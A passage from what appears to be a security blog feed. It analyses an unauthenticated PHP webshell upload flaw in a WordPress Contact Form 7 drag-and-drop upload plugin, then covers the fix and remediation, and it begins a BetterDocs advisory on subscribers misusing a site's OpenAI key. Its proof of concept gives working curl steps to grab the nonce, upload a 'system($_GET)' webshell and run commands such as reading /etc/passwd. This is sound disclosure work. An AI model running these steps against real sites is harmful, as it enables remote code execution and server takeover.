    &apos;nonce&apos;    =&amp;gt; wp_create_nonce(&apos;cf7_file_upload&apos;)  // ← publicly visible
));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The nonce for the upload AJAX action is embedded in the page source of every page containing a CF7 form with a file upload field. Any visitor — authenticated or not — receives a valid &lt;code&gt;cf7_file_upload&lt;/code&gt; nonce in the rendered HTML.&lt;/p&gt;
&lt;h4&gt;Step 2: Upload AJAX Handler — Three Chained Flaws&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;backend/index.php&lt;/code&gt;, lines 154–193 (&lt;code&gt;cf7_file_uploads()&lt;/code&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function cf7_file_uploads() {
    // Nonce verified — but nonce is public (see Step 1)
    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[&apos;nonce&apos;] ) ), &apos;cf7_file_upload&apos; ) ) {

        $file        = $_FILES[&quot;file&quot;];
        $size        = sanitize_text_field( $_REQUEST[&quot;size&quot;] );
        $type        = sanitize_text_field( $_REQUEST[&quot;type&quot;] );       // ← FLAW 1: attacker-controlled
        $type_upload = sanitize_text_field( $_REQUEST[&quot;type_upload&quot;] );

        $uploads_dir = $this-&amp;gt;get_ensure_upload_dir($type_upload);

        // FLAW 2: extension extracted from ORIGINAL (unsanitized) filename
        $file_extension = pathinfo( $file[&apos;name&apos;], PATHINFO_EXTENSION );
        $filename       = uniqid() . &apos;.&apos; . $file_extension;

        // FLAW 3: wp_unique_filename calls sanitize_file_name() internally,
        //         stripping &apos;$&apos; — so &apos;abc123.php$&apos; becomes &apos;abc123.php&apos;
        $filename = wp_unique_filename( $uploads_dir, $filename );
        $new_file = trailingslashit( $uploads_dir ) . $filename;

        // Validates using the UNSANITIZED extension (&apos;php$&apos;) and the
        // attacker-controlled $type allowlist — passes for &apos;php$&apos;
        if ( ! $this-&amp;gt;is_file_type_valid( $type, $file ) ) {
            wp_send_json( array(&quot;status&quot;=&amp;gt;&quot;not&quot;,&quot;text&quot;=&amp;gt;&quot;...&quot;) );
            die();
        }

        // File moves to disk as &apos;&amp;lt;uniqid&amp;gt;.php&apos; — a PHP file
        @ move_uploaded_file( $file[&apos;tmp_name&apos;], $new_file );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Step 3: &lt;code&gt;is_file_type_valid()&lt;/code&gt; — Extension Check on Unsanitized Name&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;backend/index.php&lt;/code&gt;, lines 142–153&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function is_file_type_valid( $file_types, $file ) {
    if ( $file_types == &quot;&quot; ) {
        $file_types = &apos;jpg|jpeg|png|gif|...&apos;;
    }
    // Uses pathinfo() on the ORIGINAL filename — &apos;shell.php$&apos; → &apos;php$&apos;
    $file_extension  = pathinfo( $file[&apos;name&apos;], PATHINFO_EXTENSION );
    $file_types_meta = explode( &apos;|&apos;, $file_types );
    $file_types_meta = array_map( &apos;trim&apos;, $file_types_meta );
    $file_types_meta = array_map( &apos;strtolower&apos;, $file_types_meta );
    $file_extension  = strtolower( $file_extension );

    // &apos;php$&apos; is NOT in the blacklist (which only has &apos;php&apos;, &apos;php3&apos;, ... without &apos;$&apos;)
    // &apos;php$&apos; IS in the attacker-supplied allowlist [&apos;php$&apos;]
    return ( in_array( $file_extension, $file_types_meta )
             &amp;amp;&amp;amp; ! in_array( $file_extension, $this-&amp;gt;get_blacklist_file_ext() ) );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The blacklist (lines 33–74) contains &lt;code&gt;php&lt;/code&gt;, &lt;code&gt;php3&lt;/code&gt;, &lt;code&gt;php4&lt;/code&gt;, &lt;code&gt;php5&lt;/code&gt;, etc. — all without trailing special characters. &lt;code&gt;php$&lt;/code&gt; matches none of them.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;Three independent weaknesses combine to create the exploit:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Attacker-controlled allowlist&lt;/strong&gt;: The &lt;code&gt;type&lt;/code&gt; POST parameter — which is the pipe-separated list of permitted file extensions — is read directly from user input. An attacker can supply &lt;code&gt;php$&lt;/code&gt; as a permitted type.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Extension extracted before sanitization&lt;/strong&gt;: &lt;code&gt;pathinfo($file[&apos;name&apos;], PATHINFO_EXTENSION)&lt;/code&gt; is called on the raw, uploaded filename (e.g., &lt;code&gt;shell.php$&lt;/code&gt;), yielding &lt;code&gt;php$&lt;/code&gt;. This raw extension is what the blacklist comparison runs against.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sanitization applied only at save time&lt;/strong&gt;: &lt;code&gt;wp_unique_filename()&lt;/code&gt; internally calls &lt;code&gt;sanitize_file_name()&lt;/code&gt;, which strips special characters like &lt;code&gt;$&lt;/code&gt;. So the file that passes validation as &lt;code&gt;&amp;lt;uniqid&amp;gt;.php$&lt;/code&gt; is written to disk as &lt;code&gt;&amp;lt;uniqid&amp;gt;.php&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Validation and file-save use different representations of the same filename. The validation uses the unsanitized extension and the save uses the sanitized one.&lt;/p&gt;
&lt;h3&gt;Why Controls Failed&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Blacklist&lt;/strong&gt;: The blacklist compares against the raw extension &lt;code&gt;php$&lt;/code&gt;, not &lt;code&gt;php&lt;/code&gt;. Since &lt;code&gt;php$&lt;/code&gt; is absent from the blacklist, the check passes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nonce&lt;/strong&gt;: &lt;code&gt;wp_localize_script&lt;/code&gt; publishes the nonce (&lt;code&gt;cf7_file_upload&lt;/code&gt;) to every visitor. It provides CSRF protection, not authentication. Any anonymous visitor can read a valid nonce from the page source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Name randomization&lt;/strong&gt;: &lt;code&gt;uniqid()&lt;/code&gt; generates a timestamp-based prefix. The attacker learns the full URL from the AJAX success response, so name randomization does not prevent exploitation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;.htaccess&lt;/code&gt;&lt;/strong&gt;: The upload directory contains an &lt;code&gt;.htaccess&lt;/code&gt; that sets &lt;code&gt;Content-Disposition: attachment&lt;/code&gt; on all files. On Apache this prevents direct PHP execution in many configurations, but this protection is absent on Nginx, LiteSpeed, and other servers.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can upload a PHP webshell to the WordPress uploads directory and receive the full public URL from the AJAX response. On Apache, the &lt;code&gt;.htaccess&lt;/code&gt; may block direct PHP execution. On Nginx, LiteSpeed, and most managed hosting environments it does not. There, the attacker can run any command on the server with the web user&apos;s privileges — achieving full Remote Code Execution (RCE).&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;drag-and-drop-file-upload-for-contact-form-7&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 1.1.3&lt;/li&gt;
&lt;li&gt;A published page with a Contact Form 7 form containing a &lt;code&gt;[file_uploads]&lt;/code&gt; shortcode field&lt;/li&gt;
&lt;li&gt;Server not blocking PHP execution in the uploads directory via &lt;code&gt;.htaccess&lt;/code&gt; (e.g., Nginx)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Extract the nonce from any page with a CF7 file upload form&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit any frontend page that loads the CF7 file upload field. The nonce is embedded in the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; block that initializes the &lt;code&gt;cf7_file_uploads&lt;/code&gt; JavaScript object.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET_URL=&quot;https://example.com/contact/&quot;

NONCE=$(curl -s &quot;$TARGET_URL&quot; \
  | grep -oP &apos;&quot;nonce&quot;\s*:\s*&quot;\K[a-f0-9]+&apos;)

echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Create a PHP webshell payload&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&apos; &amp;gt; /tmp/shell.php$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The filename must end with &lt;code&gt;$&lt;/code&gt; (or another character stripped by &lt;code&gt;sanitize_file_name&lt;/code&gt;) so that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pathinfo(&apos;shell.php$&apos;, PATHINFO_EXTENSION)&lt;/code&gt; returns &lt;code&gt;php$&lt;/code&gt; (passes the blacklist)&lt;/li&gt;
&lt;li&gt;After &lt;code&gt;wp_unique_filename&lt;/code&gt;/&lt;code&gt;sanitize_file_name&lt;/code&gt; the saved file becomes &lt;code&gt;&amp;lt;id&amp;gt;.php&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Upload the webshell via the AJAX endpoint&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AJAXURL=&quot;https://example.com/wp-admin/admin-ajax.php&quot;

RESPONSE=$(curl -s -X POST &quot;$AJAXURL&quot; \
  -F &quot;action=cf7_file_uploads&quot; \
  -F &quot;nonce=$NONCE&quot; \
  -F &quot;type=php\$&quot; \
  -F &quot;size=10&quot; \
  -F &quot;type_upload=0&quot; \
  -F &quot;file=@/tmp/shell.php\$;filename=shell.php\$;type=application/x-php&quot;)

echo &quot;Server response: $RESPONSE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;type=php$&lt;/code&gt; parameter causes &lt;code&gt;is_file_type_valid()&lt;/code&gt; to accept the file:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;php$&lt;/code&gt; is in the attacker-supplied allowlist (the &lt;code&gt;type&lt;/code&gt; value)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;php$&lt;/code&gt; is not in the plugin&apos;s hardcoded blacklist&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Extract the uploaded file URL&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SHELL_URL=$(echo &quot;$RESPONSE&quot; | python3 -c &quot;import sys,json; d=json.load(sys.stdin); print(d.get(&apos;text&apos;,&apos;&apos;))&quot;)
echo &quot;Shell URL: $SHELL_URL&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The response is: &lt;code&gt;{&quot;status&quot;:&quot;ok&quot;,&quot;text&quot;:&quot;https://example.com/wp-content/uploads/cf7-uploads-custom/&amp;lt;uniqid&amp;gt;.php&quot;}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Execute commands via the webshell&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &quot;$SHELL_URL?cmd=id&quot;
# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl &quot;$SHELL_URL?cmd=cat+/etc/passwd&quot;
curl &quot;$SHELL_URL?cmd=ls+-la+/var/www/html/wp-config.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;WordPress writes a PHP file to &lt;code&gt;wp-content/uploads/cf7-uploads-custom/&amp;lt;uniqid&amp;gt;.php&lt;/code&gt;. On servers where the upload directory &lt;code&gt;.htaccess&lt;/code&gt; is not respected, the attacker achieves unauthenticated Remote Code Execution.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Check if the file exists: &lt;code&gt;curl -I &quot;$SHELL_URL&quot;&lt;/code&gt; — expect HTTP 200&lt;/li&gt;
&lt;li&gt;Execute a command: &lt;code&gt;curl &quot;$SHELL_URL?cmd=id&quot;&lt;/code&gt; — expect user/group output&lt;/li&gt;
&lt;li&gt;Confirm in the WordPress uploads directory on the server: &lt;code&gt;ls wp-content/uploads/cf7-uploads-custom/*.php&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The critical changes are in &lt;code&gt;backend/index.php&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Upload delegated to &lt;code&gt;wp_handle_upload()&lt;/code&gt;&lt;/strong&gt; (replaces manual &lt;code&gt;move_uploaded_file()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;type_upload&lt;/code&gt; sanitized with &lt;code&gt;absint()&lt;/code&gt;&lt;/strong&gt; (was &lt;code&gt;sanitize_text_field()&lt;/code&gt; allowing type juggling)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wp_send_json_error()&lt;/code&gt;&lt;/strong&gt; used consistently (was &lt;code&gt;wp_send_json()&lt;/code&gt; with manual &lt;code&gt;die()&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;What the Fix Does&lt;/h3&gt;
&lt;p&gt;The core fix replaces the custom-built filename code and &lt;code&gt;move_uploaded_file()&lt;/code&gt; with WordPress&apos;s built-in &lt;code&gt;wp_handle_upload()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Patched version (backend/index.php ~line 183-201)
if (!function_exists(&apos;wp_handle_upload&apos;)) {
    require_once(ABSPATH . &apos;wp-admin/includes/file.php&apos;);
}
$uploads_dir = $this-&amp;gt;get_ensure_upload_dir($type_upload);
$upload_dir_filter = function ($uploads) use ($uploads_dir) {
    $uploads[&apos;path&apos;]    = $uploads_dir;
    $uploads[&apos;basedir&apos;] = $uploads_dir;
    return $uploads;
};
add_filter(&apos;upload_dir&apos;, $upload_dir_filter);
$movefile = wp_handle_upload($file, array(&apos;test_form&apos; =&amp;gt; false));
remove_filter(&apos;upload_dir&apos;, $upload_dir_filter);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;wp_handle_upload()&lt;/code&gt; internally calls &lt;code&gt;wp_check_filetype_and_ext()&lt;/code&gt;, which:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Sanitizes the filename first&lt;/strong&gt;, then validates the sanitized extension — eliminating the mismatch between validation and save&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checks the real MIME type&lt;/strong&gt; of the file using &lt;code&gt;finfo&lt;/code&gt; or &lt;code&gt;mime_content_type()&lt;/code&gt; — a file containing PHP code is detected as such regardless of its extension&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rejects PHP-related types&lt;/strong&gt; that WordPress does not allow by default, without relying on a developer-maintained blacklist&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The bypass worked because the old code validated the raw extension (&lt;code&gt;php$&lt;/code&gt;) but saved the cleaned one (&lt;code&gt;php&lt;/code&gt;). &lt;code&gt;wp_handle_upload()&lt;/code&gt; closes this gap by handling both steps on the same final filename.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Residual risk&lt;/strong&gt;: In the patched version, &lt;code&gt;is_file_type_valid()&lt;/code&gt; still reads &lt;code&gt;$type_limit&lt;/code&gt; from POST and still uses &lt;code&gt;pathinfo()&lt;/code&gt; on the raw filename. The custom check alone can still be bypassed. However, &lt;code&gt;wp_handle_upload()&lt;/code&gt; acts as a strong second-layer defence that blocks PHP uploads on its own.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-function cf7_file_uploads(){
-    if ( wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ &apos;nonce&apos; ] ) ), &apos;cf7_file_upload&apos; ) ) {
-        $file = $_FILES[&quot;file&quot;];
-        $size = sanitize_text_field( $_REQUEST[&quot;size&quot;] );
-        $type = sanitize_text_field( $_REQUEST[&quot;type&quot;] );          // ← attacker-controlled allowlist
-        $type_upload = sanitize_text_field( $_REQUEST[&quot;type_upload&quot;] );
-        $uploads_dir = $this-&amp;gt;get_ensure_upload_dir($type_upload);
-        $file_extension = pathinfo( $file[&apos;name&apos;], PATHINFO_EXTENSION );  // ← unsanitized
-        $filename = uniqid() . &apos;.&apos; . $file_extension;
-        $filename = wp_unique_filename( $uploads_dir, $filename );  // ← sanitizes here (strips &apos;$&apos;)
-        $new_file = trailingslashit( $uploads_dir ) . $filename;
-        if(!$this-&amp;gt;is_file_type_valid($type,$file)){  // ← validates &apos;php$&apos;, saves &apos;php&apos;
-            ...die();
-        }
-        @ move_uploaded_file( $file[&apos;tmp_name&apos;], $new_file );  // ← saves .php file

+public function cf7_file_uploads() {
+    check_ajax_referer(&apos;cf7_file_upload&apos;, &apos;nonce&apos;);
+    $file        = $_FILES[&apos;file&apos;];
+    $size_limit  = isset($_POST[&apos;size&apos;]) ? sanitize_text_field(wp_unslash($_POST[&apos;size&apos;])) : &apos;&apos;;
+    $type_limit  = isset($_POST[&apos;type&apos;]) ? sanitize_text_field(wp_unslash($_POST[&apos;type&apos;])) : &apos;&apos;;
+    $type_upload = isset($_POST[&apos;type_upload&apos;]) ? absint($_POST[&apos;type_upload&apos;]) : 0;
+    if (!$this-&amp;gt;is_file_type_valid($type_limit, $file)) { ... }
+    if (!$this-&amp;gt;is_file_size_valid($size_limit, $file)) { ... }
+    $uploads_dir = $this-&amp;gt;get_ensure_upload_dir($type_upload);
+    add_filter(&apos;upload_dir&apos;, $upload_dir_filter);
+    $movefile = wp_handle_upload($file, array(&apos;test_form&apos; =&amp;gt; false));  // ← validates &amp;amp; saves safely
+    remove_filter(&apos;upload_dir&apos;, $upload_dir_filter);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Thomas Sanzey&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;td&gt;Patched version 1.1.4 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;drag-and-drop-file-upload-for-contact-form-7&lt;/code&gt; plugin to version &lt;strong&gt;1.1.4&lt;/strong&gt; or later.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-file-upload-for-contact-form-7/trunk/backend/index.php#L181&quot;&gt;backend/index.php L181 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-file-upload-for-contact-form-7/tags/1.1.2/backend/index.php#L181&quot;&gt;backend/index.php L181 (tag 1.1.2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-file-upload-for-contact-form-7/trunk/backend/index.php#L158&quot;&gt;backend/index.php L158 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-file-upload-for-contact-form-7/tags/1.1.2/backend/index.php#L158&quot;&gt;backend/index.php L158 (tag 1.1.2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-file-upload-for-contact-form-7/trunk/backend/index.php#L147&quot;&gt;backend/index.php L147 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-file-upload-for-contact-form-7/tags/1.1.2/backend/index.php#L147&quot;&gt;backend/index.php L147 (tag 1.1.2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-file-upload-for-contact-form-7/trunk/frontend/index.php#L15&quot;&gt;frontend/index.php L15 (trunk)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-file-upload-for-contact-form-7/tags/1.1.2/frontend/index.php#L15&quot;&gt;frontend/index.php L15 (tag 1.1.2)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?sfp_email=&amp;amp;sfph_mail=&amp;amp;reponame=&amp;amp;old=3498020%40drag-and-drop-file-upload-for-contact-form-7&amp;amp;new=3498020%40drag-and-drop-file-upload-for-contact-form-7&amp;amp;sfp_email=&amp;amp;sfph_mail=&quot;&gt;SVN changeset (patch)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-29T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-6393: Authenticated Missing Authorization in BetterDocs Plugin</title><link>https://hurayraiit.com/blog/cve-2026-6393-missing-authorization-betterdocs-ai-write/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-6393-missing-authorization-betterdocs-ai-write/</guid><description>CVE-2026-6393 (CVSS 4.3 Medium) is a Missing Authorization flaw in BetterDocs &lt;= 4.3.11 that lets subscribers abuse the site&apos;s paid OpenAI API key.</description><pubDate>Tue, 28 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-6393&lt;/strong&gt; is a &lt;strong&gt;CVSS 4.3 (Medium)&lt;/strong&gt; Missing Authorization vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/betterdocs/&quot;&gt;BetterDocs – Knowledge Base Docs &amp;amp; FAQ Solution for Elementor &amp;amp; Block Editor&lt;/a&gt; WordPress plugin. Any authenticated user with a Subscriber role or above can trigger OpenAI API calls using the site owner&apos;s configured API key. This drains paid quota and lets the attacker send any prompt through the site&apos;s account.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BetterDocs – Knowledge Base Docs &amp;amp; FAQ Solution for Elementor &amp;amp; Block Editor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;betterdocs&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6393&quot;&gt;CVE-2026-6393&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4.3 (Medium)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Missing Authorization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/betterdocs.4.3.11.zip&quot;&gt;&amp;lt;= 4.3.11&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/betterdocs.4.3.12.zip&quot;&gt;4.3.12&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 23, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;h0xilo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/betterdocs/betterdocs-4311-missing-authorization-to-authenticated-subscriber-unauthorized-ai-api-usage&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The BetterDocs plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 4.3.11. The root cause is a missing capability check in the &lt;code&gt;generate_openai_content_callback()&lt;/code&gt; function. The function relies only on a nonce, not on user permissions. As a result, authenticated attackers with Subscriber-level access can trigger OpenAI API calls using the site&apos;s configured API key with any prompt they choose. This drains the site owner&apos;s paid AI quota.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; &lt;code&gt;includes/Core/WriteWithAI.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Class instantiation (lines 15–32):&lt;/strong&gt; The &lt;code&gt;WriteWithAI&lt;/code&gt; class is initialized unconditionally on every WordPress request via the &lt;code&gt;init&lt;/code&gt; hook in &lt;code&gt;includes/Plugin.php:256&lt;/code&gt;. The constructor reads &lt;code&gt;$_GET[&apos;post_type&apos;]&lt;/code&gt; directly without any sanitization or authorization guard:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// WriteWithAI.php:15-32 (vulnerable version 4.3.11)
public function __construct( Settings $settings ) {
    $this-&amp;gt;settings = $settings;
    $post_id = isset( $_GET[&apos;post&apos;] ) ? intval( $_GET[&apos;post&apos;] ) : 0;

    if ( ! empty( $_GET[&apos;post_type&apos;] ) ) {
        $post_type = $_GET[&apos;post_type&apos;];      // reads attacker-controlled URL param
    } elseif ( $post_id &amp;gt; 0 ) {
        $post_type = get_post_type( $post_id );
    } else {
        $post_type = &apos;&apos;;
    }

    if ( ! empty( $this-&amp;gt;isEnabledWriteWithAI() ) &amp;amp;&amp;amp; &apos;docs&apos; == $post_type ) {
        add_action( &apos;admin_footer&apos;, array( $this, &apos;ai_autowrite_button&apos; ) );
    }
    add_action( &apos;wp_ajax_generate_openai_content&apos;, array( $this, &apos;generate_openai_content_callback&apos; ) );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Nonce exposure via URL manipulation (line 426):&lt;/strong&gt; The &lt;code&gt;$post_type&lt;/code&gt; variable comes directly from &lt;code&gt;$_GET[&apos;post_type&apos;]&lt;/code&gt; with no authorization check. Any logged-in user can force &lt;code&gt;ai_autowrite_button()&lt;/code&gt; to fire in the admin footer — simply by appending &lt;code&gt;?post_type=docs&lt;/code&gt; to any wp-admin URL they can access. The method then inlines a fresh nonce into the page source:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Inside ai_autowrite_button() — rendered to admin footer
const nonce = &quot;&amp;lt;?php echo esc_attr( wp_create_nonce( &apos;generate_openai_content_nonce&apos; ) ); ?&amp;gt;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A subscriber visiting &lt;code&gt;/wp-admin/?post_type=docs&lt;/code&gt; triggers this hook and receives the nonce in the rendered page HTML.&lt;/p&gt;
